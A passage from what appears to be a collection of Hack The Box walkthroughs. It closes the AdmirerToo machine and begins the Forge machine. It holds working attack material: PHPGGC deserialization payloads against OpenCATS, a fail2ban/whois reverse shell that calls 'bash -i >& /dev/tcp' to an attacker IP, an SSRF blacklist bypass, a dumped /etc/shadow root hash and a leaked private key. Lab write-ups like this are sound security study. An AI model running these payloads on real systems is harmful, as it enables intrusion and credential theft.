The authenticity of host '10.10.11.137 (10.10.11.137)' can't be established.
ED25519 key fingerprint is SHA256:6GHqCefcB0XKD8lrY40SKb5COmsxVdTiXV4NYplmxbY.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.137' (ED25519) to the list of known hosts.
jennifer@10.10.11.137's password: 
Permission denied, please try again.
jennifer@10.10.11.137's password: 
Linux admirertoo 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
No mail.
Last login: Sun Jan 23 10:30:18 2022 from 10.10.14.10
jennifer@admirertoo:~$ id
uid=1002(jennifer) gid=100(users) groups=100(users)
jennifer@admirertoo:~$ whoami
jennifer
jennifer@admirertoo:~$ cat user.txt 
44d517c8732f33ce2b12bed6e24b587f
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2134.jpg)

Let’s find any active services running on the machine.

``` bash
jennifer@admirertoo:~$ systemctl list-units --type=service
UNIT                               LOAD   ACTIVE SUB     DESCRIPTION                                                       
apache2.service                    loaded active running The Apache HTTP Server                                            
apache2@opencats.service           loaded active running The Apache HTTP Server                                            
apparmor.service                   loaded active exited  Load AppArmor profiles                                            
console-setup.service              loaded active exited  Set console font and keymap                                       
cron.service                       loaded active running Regular background program processing daemon                      
dbus.service                       loaded active running D-Bus System Message Bus                                          
fail2ban.service                   loaded active running Fail2Ban Service                                                  
getty@tty1.service                 loaded active running Getty on tty1                                                     
hbase.service                      loaded active running HBase                                                             
ifup@eth0.service                  loaded active exited  ifup for eth0                                                     
ifupdown-pre.service               loaded active exited  Helper to synchronize boot up for ifupdown                        
keyboard-setup.service             loaded active exited  Set the console keyboard layout                                   
kmod-static-nodes.service          loaded active exited  Create list of required static device nodes for the current kernel
mariadb.service                    loaded active running MariaDB 10.3.31 database server                                   
networking.service                 loaded active exited  Raise network interfaces                                          
nftables.service                   loaded active exited  nftables                                                          
open-vm-tools.service              loaded active running Service for virtual machines hosted on VMware                     
opentsdb.service                   loaded active running LSB: Starts OpenTSDB TSD                                          
php7.3-fpm.service                 loaded active running The PHP 7.3 FastCGI Process Manager                               
rsyslog.service                    loaded active running System Logging Service                                            
ssh.service                        loaded active running OpenBSD Secure Shell server                                       
systemd-journal-flush.service      loaded active exited  Flush Journal to Persistent Storage                               
systemd-journald.service           loaded active running Journal Service                                                   
systemd-logind.service             loaded active running Login Service                                                     
systemd-modules-load.service       loaded active exited  Load Kernel Modules                                               
systemd-random-seed.service        loaded active exited  Load/Save Random Seed                                             
systemd-remount-fs.service         loaded active exited  Remount Root and Kernel File Systems                              
systemd-sysctl.service             loaded active exited  Apply Kernel Variables                                            
systemd-sysusers.service           loaded active exited  Create System Users                                               
systemd-timesyncd.service          loaded active running Network Time Synchronization                                      
systemd-tmpfiles-setup-dev.service loaded active exited  Create Static Device Nodes in /dev                                
systemd-tmpfiles-setup.service     loaded active exited  Create Volatile Files and Directories                             
systemd-udev-trigger.service       loaded active exited  udev Coldplug all Devices                                         
systemd-udevd.service              loaded active running udev Kernel Device Manager                                        
systemd-update-utmp.service        loaded active exited  Update UTMP about System Boot/Shutdown                            
systemd-user-sessions.service      loaded active exited  Permit User Sessions                                              
user-runtime-dir@1002.service      loaded active exited  User Runtime Directory /run/user/1002                             
user@1002.service                  loaded active running User Manager for UID 1002                                         
vgauth.service                     loaded active running Authentication service for virtual machines hosted on VMware      

LOAD   = Reflects whether the unit definition was properly loaded.
ACTIVE = The high-level unit activation state, i.e. generalization of SUB.
SUB    = The low-level unit activation state, values depend on unit type.

39 loaded units listed. Pass --all to see loaded but inactive units, too.
To show all installed unit files use 'systemctl list-unit-files'.
```

Two services are suspicious, OpenCats and Fail2Ban. We have found the OpenCats directory previously. OpenCats is running on port 8080.

``` bash
jennifer@admirertoo:~$ curl localhost:8080 | grep opencats
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  3665  100  3665    0     0   325k      0 --:--:-- --:--:-- --:--:--  357k
<title>opencats - Login</title>
<span id="mainLogo">opencats</span><br /> 
<span style="font-size: 12px;"><a href="http://forums.opencats.org ">opencats support forum</a></span>
Based upon original work and Powered by <a href="http://www.opencats.org" target="_blank">OpenCATS</a>.</div>
```

Let’s check Fail2Ban version.

``` bash
jennifer@admirertoo:~$ fail2ban-server -V
Fail2Ban v0.10.2
```

It has a vulnerability in mailing action.

 - [Possible RCE vulnerability in mailing action using mailutils (mail-whois)](https://github.com/fail2ban/fail2ban/security/advisories/GHSA-m985-3f3v-cwmm)

First look into Opencats. Let’s forward that port via SSH or however you like. I am forwarding that port to my machine on port 9000. Let’s visit the site.

``` bash
ssh -L 9000:127.0.0.1:8080 jennifer@10.10.11.137
```

The homepage gives us the version information, that is 0.9.5.2.

 - [CVE-2021-25294](https://www.cvedetails.com/cve/CVE-2021-25294/)

***OpenCATS through 0.9.5-3 unsafely deserializes index.php?m=activity requests,leading to remote code execution. This occurs because lib/DataGrid.php calls unserialize for the parametersactivity:ActivityDataGrid parameter. The PHP object injection exploit chain can leverage an __destruct magic method in guzzlehttp.***

For this we need to authenticate first, I couldn’t crack the admin password.

``` bash
MariaDB [cats_dev]> select user_name,password,user_id from user\G
*************************** 1. row ***************************
user_name: admin
password: f59f297aa82171cc860d76c390ce7f3e
user_id: 1
```

However, we have access to it’s database, we can update the row of admin with our own password.

``` bash
482c811da5d5b4bc6d497ffa98491e38:password123

MariaDB [cats_dev]> update user set password = '482c811da5d5b4bc6d497ffa98491e38' where user_id = 1;
Query OK, 1 row affected (0.001 sec)
Rows matched: 1  Changed: 1  Warnings: 0

MariaDB [cats_dev]> select password,user_name,user_id from user\G
*************************** 1. row ***************************
 password: 482c811da5d5b4bc6d497ffa98491e38
user_name: admin
  user_id: 1
*************************** 2. row ***************************
 password: cantlogin
user_name: cats@rootadmin
  user_id: 1250
*************************** 3. row ***************************
 password: f59f297aa82171cc860d76c390ce7f3e
user_name: jennifer
  user_id: 1251
3 rows in set (0.001 sec)
```

Make sure to convert you desired password to MD5 hash. Once you update, you can login with the password.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2135.jpg)

We have access to admin dashboard. This below blog has explained how this attack works.

 - [OpenCATS PHP Object Injection to Arbitrary File Write](https://snoopysecurity.github.io/web-application-security/2021/01/16/09_opencats_php_object_injection.html)

For this to work we need to switch to activities tab and click on ‘date’ and intercept the request in Burp Suite.

``` bash
GET /index.php?m=activity&parametersactivity%3AActivityDataGrid=a%3A8%3A%7Bs%3A10%3A%22rangeStart%22%3Bi%3A0%3Bs%3A10%3A%22maxResults%22%3Bi%3A15%3Bs%3A13%3A%22filterVisible%22%3Bb%3A0%3Bs%3A9%3A%22startDate%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22endDate%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22period%22%3Bs%3A37%3A%22DATE_SUB%28CURDATE%28%29%2C+INTERVAL+1+MONTH%29%22%3Bs%3A6%3A%22sortBy%22%3Bs%3A15%3A%22dateCreatedSort%22%3Bs%3A13%3A%22sortDirection%22%3Bs%3A3%3A%22ASC%22%3B%7D HTTP/1.1
Host: 127.0.0.1:9000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://127.0.0.1:9000/index.php?m=activity
Cookie: CATS=95dvh0oeepi123t462f8l9ogjn
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
```

According to the blog, activity parameter is vulnerable. So, we need to generate serialized exploit using PHPGGC and replace it with default one.

 - [PHPGGC: PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)

We don’t know where to upload the php webshell and which users permission will be applicable. So I tried to upload it on /dev/shm directory to find file perms.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/admiretoo]
└─# phpggc -u --fast-destruct Guzzle/FW1 /dev/shm/test.txt /root/hackthebox/machine/admiretoo/test.txt
a%3A2%3A%7Bi%3A7%3BO%3A31%3A%22GuzzleHttp%5CCookie%5CFileCookieJar%22%3A4%3A%7Bs%3A41%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00filename%22%3Bs%3A17%3A%22%2Fdev%2Fshm%2Ftest.txt%22%3Bs%3A52%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00storeSessionCookies%22%3Bb%3A1%3Bs%3A36%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00cookies%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A27%3A%22GuzzleHttp%5CCookie%5CSetCookie%22%3A1%3A%7Bs%3A33%3A%22%00GuzzleHttp%5CCookie%5CSetCookie%00data%22%3Ba%3A3%3A%7Bs%3A7%3A%22Expires%22%3Bi%3A1%3Bs%3A7%3A%22Discard%22%3Bb%3A0%3Bs%3A5%3A%22Value%22%3Bs%3A20%3A%22this+is+just+a+test%21%22%3B%7D%7D%7Ds%3A39%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00strictMode%22%3BN%3B%7Di%3A7%3Bi%3A7%3B%7D
```

This is just a test file which will be dumped into ‘/dev/shm’ directory with user privileges.

As you can see the response is ‘HTTP 200 OK’, so It was successful. Let’s check the file permission.

``` bash
jennifer@admirertoo:/dev/shm$ ls -la
total 4
drwxrwxrwt  2 root  root    60 Jan 23 11:28 .
drwxr-xr-x 16 root  root  3080 Jan 23 09:59 ..
-rw-r--r--  1 devel devel   62 Jan 23 11:28 test.txt
jennifer@admirertoo:/dev/shm$ cat test.txt 
[{"Expires":1,"Discard":false,"Value":"this is just a test!"}]
```

So, it’s not root who’s permission is being used to run OpenCat’s. It’s ‘devel’.

``` bash
jennifer@admirertoo:/dev/shm$ grep 'devel' /etc/passwd
devel:x:1003:1003::/home/devel:/sbin/nologin
```

This user don’t have any shell access, that’s the reason we didn’t get this when we ran which account has shell access. Let’s look into locations ‘devel’ has access to.

``` bash
jennifer@admirertoo:/dev/shm$ find / -group devel 2>/dev/null
/dev/shm/test.txt
/opt/opencats/INSTALL_BLOCK
/usr/local/src
/usr/local/etc
```

Two directories and one file. So, there’s no way we can get a reverse shell. So, let’s turn to Fail2Ban exploit.

 - [Possible RCE vulnerability in mailing action using mailutils (mail-whois)](https://github.com/fail2ban/fail2ban/security/advisories/GHSA-m985-3f3v-cwmm)

According to this blog we can get code execution if we edit the /etc/hosts file and point to my own IP address. However, we don’t have permission to edit the hosts file, only root can edit it.

``` bash
jennifer@admirertoo:/dev/shm$ ls -la /etc/hosts
-rw-r--r-- 1 root root 205 Jul  7  2021 /etc/hosts
```

But, we can put a whois configuration file in ‘/usr/local/etc’ directory and when we execute whois command it takes configuration file for processing.

``` bash
jennifer@admirertoo:/dev/shm$ cat /etc/fail2ban/jail.local
[DEFAULT]
ignoreip = 127.0.0.1
bantime = 60s
destemail = root@admirertoo.htb
sender = fail2ban@admirertoo.htb
sendername = Fail2ban
mta = mail
action = %(action_mwl)s
```

This is the default configuration of jail (fail2ban), if any IP is banned then it sends an email to specified address.

``` bash
jennifer@admirertoo:/dev/shm$ cat /etc/fail2ban/jail.d/defaults-debian.conf
[sshd]
enabled = true
```

It is enabled on SSH service. Let’s create whois.conf file on Kali machine first. Whois config file has to be in RegEx format, if not then it’d give you error like below.

``` bash
jennifer@admirertoo:~$ whois 10.10.x.x
Invalid regular expression '[{"Expires":1,"Discard":false,"Value":".*': Unmatched [,
[^, [:, [., or [=
```

 - [whois](https://github.com/rfc1036/whois)

Below is the default format of uploaded file using OpenCats vulnerability.

``` bash
jennifer@admirertoo:~$ cat /dev/shm/hello.txt
[{"Expires":1,"Discard":false,"Value":"hello\n"}]
```

As you can see, my actual data is ‘hello’, but it also adds other data, which is part of the GuzzleHTTP Cookie. So to make a working config file with that, we need to use ‘vertical bar’ and ‘Dot’ of RegEx, just like below.

***Vertical Bar: OR operator. Search for a match to the regular expression on either side of the vertical bar. Dot: Matches any single character.***

``` bash
[{"Expires":1,"Discard":false,"Value":"}]|. [10.10.x.x]\n"}]
```

But as we have already seen in hello.txt result, it has already appended the Guzzle data, so we need to create a file without that on your kali machine.

#### Step 1

``` bash
┌──(root💀kali)-[~/hackthebox/machine/admiretoo]
└─# cat demo.conf         
}]|. [10.10.14.8]
```

When we give this file to PHPGGC to serialize, it add the initial part and end part to it. Let’s serialize the configuration file.

#### Step 2

``` bash
┌──(root💀kali)-[~/hackthebox/machine/admiretoo]
└─# phpggc -u --fast-destruct Guzzle/FW1 /usr/local/etc/whois.conf /root/hackthebox/machine/admiretoo/demo.conf
a%3A2%3A%7Bi%3A7%3BO%3A31%3A%22GuzzleHttp%5CCookie%5CFileCookieJar%22%3A4%3A%7Bs%3A41%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00filename%22%3Bs%3A25%3A%22%2Fusr%2Flocal%2Fetc%2Fwhois.conf%22%3Bs%3A52%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00storeSessionCookies%22%3Bb%3A1%3Bs%3A36%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00cookies%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A27%3A%22GuzzleHttp%5CCookie%5CSetCookie%22%3A1%3A%7Bs%3A33%3A%22%00GuzzleHttp%5CCookie%5CSetCookie%00data%22%3Ba%3A3%3A%7Bs%3A7%3A%22Expires%22%3Bi%3A1%3Bs%3A7%3A%22Discard%22%3Bb%3A0%3Bs%3A5%3A%22Value%22%3Bs%3A17%3A%22%7D%5D%7C.+%5B10.10.14.8%5D%22%3B%7D%7D%7Ds%3A39%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00strictMode%22%3BN%3B%7Di%3A7%3Bi%3A7%3B%7D
```

Now before we pass this to OpenCats, we need to create our reverse shell payload on Kali Linux

#### Step 3

``` bash
┌──(root💀kali)-[~/hackthebox/machine/admiretoo]
└─# cat rshell   
~| bash -c "bash -i >& /dev/tcp/10.10.14.8/9001 0>&1" &
```

***The '~|' escape pipes the message composed so far through the given shell command and replaces the message with the output the command produced. If the command produced no output, mail assumes that something went wrong and retains the old contents of your message.***

#### Step 4

``` bash
┌──(root💀kali)-[~/hackthebox/machine/admiretoo]
└─# nc -nvlkp 43 -c "cat rshell"
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::43
Ncat: Listening on 0.0.0.0:43
```

 - Listening on Port 43. This port is reserved for 'whois protocol'

 - Using ‘-c’ switch to run shell commands after successful connection and providing our payload to run it

If you are wondering why we are using port 43, it’s because when we execute whois command from target machine to our IP address, it use port 43 to connect our IP address and if our IP doesn’t have that port open then it fails. See this below example of whois query.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2136.jpg)

Above is the whois query to google server. As you can see, my machine sends an initial syn packet to whois server IP on port 43 TCP.

So, the idea basically is we are redirecting whois request to our Kali Linux machine (IP) rather than actual whois server and when we get hit on our whois port, we run shell commands to exploit the Fail2Ban vulnerability.

#### Step 5

``` bash
┌──(root💀kali)-[~]
└─# nc -lvnp 9001
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
```

Setup a netcat listener for actual reverse shell. Now we are almost ready.

#### Step 6

Now we need to pass the serialized cookie via Burp Suite, just like we did previously.

#### Step 7

Check the dumped file from target machine.

``` bash
jennifer@admirertoo:/dev/shm$ cat /usr/local/etc/whois.conf
[{"Expires":1,"Discard":false,"Value":"}]|. [10.10.14.8]"}]
```

We got the config file on target. This config file gets removed after every five minutes.

#### Step 8

Run whois from target machine.

``` bash
jennifer@admirertoo:/dev/shm$ whois 10.10.14.8
~| bash -c "bash -i >& /dev/tcp/10.10.14.8/9001 0>&1" &
```

Make sure to use your own IP address. After executing that we got a hit on port 43 netcat listener.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/admiretoo]
└─# nc -nvlkp 43 -c "cat rshell"
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::43
Ncat: Listening on 0.0.0.0:43
Ncat: Connection from 10.10.11.137.
Ncat: Connection from 10.10.11.137:40126.
Ncat: Connection from 10.10.11.137.
Ncat: Connection from 10.10.11.137:40130.
Ncat: Connection from 10.10.11.137.
Ncat: Connection from 10.10.11.137:40132.
```

At this moment our payload is already delivered to target machine, now we need to trigger Fail2Ban application via failed SSH attempts.

#### Step 9

``` bash
┌──(root💀kali)-[~/hackthebox/machine/admiretoo]
└─# ssh root@10.10.11.137                                                                                                     255 ⨯
root@10.10.11.137's password: 
Permission denied, please try again.
root@10.10.11.137's password: 
Permission denied, please try again.
root@10.10.11.137's password: 
Connection closed by 10.10.11.137 port 22
```

just enter 3 wrong password is fine... you will get a reverse connection on Netcat listener.

``` bash
┌──(root💀kali)-[~]
└─# nc -lvnp 9001
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.11.137.
Ncat: Connection from 10.10.11.137:42756.
bash: cannot set terminal process group (3043): Inappropriate ioctl for device
bash: no job control in this shell
root@admirertoo:/# id
id
uid=0(root) gid=0(root) groups=0(root)
root@admirertoo:/# whoami
whoami
root
root@admirertoo:/# cat /root/root.txt
cat /root/root.txt
de978ef00fa5fd259349809129068f70
root@admirertoo:/# cat /etc/shadow | grep root
cat /etc/shadow | grep root
root:$6$eP5MVyB1lXtVQgzU$H4xJdGiHfSu9JmUR80juqHC5BAca79yir2Z6bipW8s.DowTuNRo82/CjN7EMBK8lczD1AMYxgKTIp79DjN2R31:18817:0:99999:7:::
```

Make sure to get root flag or whatever as quick as possible, the shell is unstable and it gets disconnected.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2137.jpg)

#### Summary of knowledge

 - vhost fuzz with ffuf
 - SSRF redirect in adminer (CVE-2021-21311)
 - OpenTSDB 2.4.0 Remote Code Execution (CVE-2020-35476)
 - password reused
 - Possible RCE vulnerability in mailing action using mailutils(mail-whois)(CVE-2021-25294)
 - OpenCATS PHP Object Injection to Arbitrary File Write
 - PHPGGC: PHP Generic Gadget Chains generate exploits
 - privesc through Modify the /usr/local/etc/whois.conf and whois command

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end admirertoo -->

</details>

<a id="case-forge"></a>

## URL 验证、重定向与内部 FTP

大小写与重定向影响 URL 黑名单的判断，内部 FTP 提供文件入口。后续 sudo Python 脚本的调试行为保留在同一条来源链中。

<p class="kb-provenance">来源 forge · 原记录 2021-09-13 · 22 个代码块 · 4 处图片引用</p>

<details class="kb-evidence" id="record-forge">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start forge -->

#### introduce

OS: Linux
Difficulty: Medium
Points:	30
Release:	11 Sep 2021
IP:	10.10.11.111

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2078.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### Enumeration
#### Nmap

``` bash
┌──(root💀kali)-[~/hackthebox/machine/forge]
└─# nmap -sC -sV -v -p- --min-rate=10000 10.10.11.111
PORT   STATE    SERVICE VERSION
21/tcp filtered ftp
22/tcp open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)
|   256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)
|_  256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
80/tcp open     http    Apache httpd 2.4.41
| http-methods: 
|_  Supported Methods: HEAD OPTIONS GET
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Gallery
Service Info: Host: 10.10.11.111; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

There are three ports open 21:ftp(filtered),22:ssh,80:http

#### Port-80

When we go to the ip it will redirected to forge.htb

Let's quickly add that in our /etc/hosts file.

``` bash
10.10.11.111    forge.htb
```

Now let's check what's running on the port 80.

It's a simple gallery page.

And when we go to upload an image page we can see that there is two options to upload file

1. upload through local file
2. upload through url

After some hit and try to upload php rev shell through changing shell.php to shell.php.jpg but that's didn't work.

After that i try finding sub-domain with gobuster and i got admin.forge.htb

``` bash
┌──(root💀kali)-[~/hackthebox/machine/forge]
└─# gobuster vhost -u http://forge.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -t 50 -r
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:          http://forge.htb
[+] Method:       GET
[+] Threads:      50
[+] Wordlist:     /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s
===============================================================
2021/09/12 03:26:55 Starting gobuster in VHOST enumeration mode
===============================================================
Found: admin.forge.htb (Status: 200) [Size: 27]
```

After that i quickly add that in my host file.

``` bash
10.10.11.111    forge.htb admin.forge.htb
```

Now let's go to admin.forge.htb

And we see only localhost is allowed.

After that i think we can access that admin page with upload from url functionality which we see in the forge.htb/upload page.

For that let's first capture that req in burp.

``` bash
POST /upload HTTP/1.1

Host: forge.htb

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 17

Origin: http://forge.htb

Connection: close

Referer: http://forge.htb/upload

Upgrade-Insecure-Requests: 1



url=test&remote=1
```

And we can only use http,https.

So let's first try with loopback address.

And we see it's a blacklisted address.

``` bash
POST /upload HTTP/1.1

Host: forge.htb

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 30

Origin: http://forge.htb

Connection: close

Referer: http://forge.htb/upload

Upgrade-Insecure-Requests: 1



url=http://127.0.0.1/&remote=1
```

get response:

``` bash
URL contains a blacklisted address!
```

After that let's check if we can access the admin.forge.htb

And we see it's also a blacklisted address.

Let's capitalize all letters of the sub-domain to check if it's bypass the filter.

``` bash
url=http://ADMIN.FORGE.HTB&remote=1
```

And we see we successfully bypass the filter and get the link.

let's open that link and see what's inside that admin page.

And we can see firefox can't open that so let's try with curl.

And we get the html souce code of the admin page.

And there is an /announcements page let's take a look on that.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/forge]
└─# curl http://forge.htb/uploads/763OjQjUrBpQmd1VpIbP
<!DOCTYPE html>
<html>
<head>
    <title>Admin Portal</title>
</head>
<body>
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
    <header>
            <nav>
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
            </nav>
    </header>
    <br><br><br><br>
    <br><br><br><br>
    <center><h1>Welcome Admins!</h1></center>
</body>
</html>
```

Now let's add /announcements in the req.

``` bash
url=http://ADMIN.FORGE.HTB/announcements&remote=1
```

Now let's check what's inside that page with curl.

Boom we got the ftp creads and some notes

But the problem is we can't login inside ftp with these creads because the ftp port is filtered.

But the notes said they support ftp,ftps,http,https for uploading the file through ?u= parameter.

So we can use this functionality to login inside ftp server.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/forge]
└─# curl http://forge.htb/uploads/lgoVIX3Ue4VS1AGfSVS0
<!DOCTYPE html>
<html>
<head>
    <title>Announcements</title>
</head>
<body>
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
    <link rel="stylesheet" type="text/css" href="/static/css/announcements.css">
    <header>
            <nav>
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
            </nav>
    </header>
    <br><br><br>
    <ul>
        <li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li>
        <li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
        <li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=&lt;url&gt;.</li>
    </ul>
</body>
</html>
```

Let's list the directory and files of ftp server.

``` bash
url=http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@127.1.1.1&remote=1
```

Got the url.

It's seems like we are inside the home directory of user it's mean .ssh folder is also there let's quickly check it out.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/forge]
└─# curl http://forge.htb/uploads/Z6sZibedRbDeKYBFQpBL
drwxr-xr-x    3 1000     1000         4096 Aug 04 19:23 snap
-rw-r-----    1 0        1000           33 Sep 12 23:17 user.txt
```

Let's try to get the id_rsa of the user.

``` bash
url=http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@127.1.1.1/.ssh/id_rsa&remote=1
```

Got the id_rsa of the user.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/forge]
└─# curl http://forge.htb/uploads/rImFtfhldjbYX4CuIwZx                                                                            
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAnZIO+Qywfgnftqo5as+orHW/w1WbrG6i6B7Tv2PdQ09NixOmtHR3
rnxHouv4/l1pO2njPf5GbjVHAsMwJDXmDNjaqZfO9OYC7K7hr7FV6xlUWThwcKo0hIOVuE
7Jh1d+jfpDYYXqON5r6DzODI5WMwLKl9n5rbtFko3xaLewkHYTE2YY3uvVppxsnCvJ/6uk
r6p7bzcRygYrTyEAWg5gORfsqhC3HaoOxXiXgGzTWyXtf2o4zmNhstfdgWWBpEfbgFgZ3D
WJ+u2z/VObp0IIKEfsgX+cWXQUt8RJAnKgTUjGAmfNRL9nJxomYHlySQz2xL4UYXXzXr8G
mL6X0+nKrRglaNFdC0ykLTGsiGs1+bc6jJiD1ESiebAS/ZLATTsaH46IE/vv9XOJ05qEXR
GUz+aplzDG4wWviSNuerDy9PTGxB6kR5pGbCaEWoRPLVIb9EqnWh279mXu0b4zYhEg+nyD
K6ui/nrmRYUOadgCKXR7zlEm3mgj4hu4cFasH/KlAAAFgK9tvD2vbbw9AAAAB3NzaC1yc2
EAAAGBAJ2SDvkMsH4J37aqOWrPqKx1v8NVm6xuouge079j3UNPTYsTprR0d658R6Lr+P5d
aTtp4z3+Rm41RwLDMCQ15gzY2qmXzvTmAuyu4a+xVesZVFk4cHCqNISDlbhOyYdXfo36Q2
GF6jjea+g8zgyOVjMCypfZ+a27RZKN8Wi3sJB2ExNmGN7r1aacbJwryf+rpK+qe283EcoG
K08hAFoOYDkX7KoQtx2qDsV4l4Bs01sl7X9qOM5jYbLX3YFlgaRH24BYGdw1ifrts/1Tm6
dCCChH7IF/nFl0FLfESQJyoE1IxgJnzUS/ZycaJmB5ckkM9sS+FGF1816/Bpi+l9Ppyq0Y
JWjRXQtMpC0xrIhrNfm3OoyYg9REonmwEv2SwE07Gh+OiBP77/VzidOahF0RlM/mqZcwxu
MFr4kjbnqw8vT0xsQepEeaRmwmhFqETy1SG/RKp1odu/Zl7tG+M2IRIPp8gyurov565kWF
DmnYAil0e85RJt5oI+IbuHBWrB/ypQAAAAMBAAEAAAGALBhHoGJwsZTJyjBwyPc72KdK9r
rqSaLca+DUmOa1cLSsmpLxP+an52hYE7u9flFdtYa4VQznYMgAC0HcIwYCTu4Qow0cmWQU
xW9bMPOLe7Mm66DjtmOrNrosF9vUgc92Vv0GBjCXjzqPL/p0HwdmD/hkAYK6YGfb3Ftkh0
2AV6zzQaZ8p0WQEIQN0NZgPPAnshEfYcwjakm3rPkrRAhp3RBY5m6vD9obMB/DJelObF98
yv9Kzlb5bDcEgcWKNhL1ZdHWJjJPApluz6oIn+uIEcLvv18hI3dhIkPeHpjTXMVl9878F+
kHdcjpjKSnsSjhlAIVxFu3N67N8S3BFnioaWpIIbZxwhYv9OV7uARa3eU6miKmSmdUm1z/
wDaQv1swk9HwZlXGvDRWcMTFGTGRnyetZbgA9vVKhnUtGqq0skZxoP1ju1ANVaaVzirMeu
DXfkpfN2GkoA/ulod3LyPZx3QcT8QafdbwAJ0MHNFfKVbqDvtn8Ug4/yfLCueQdlCBAAAA
wFoM1lMgd3jFFi0qgCRI14rDTpa7wzn5QG0HlWeZuqjFMqtLQcDlhmE1vDA7aQE6fyLYbM
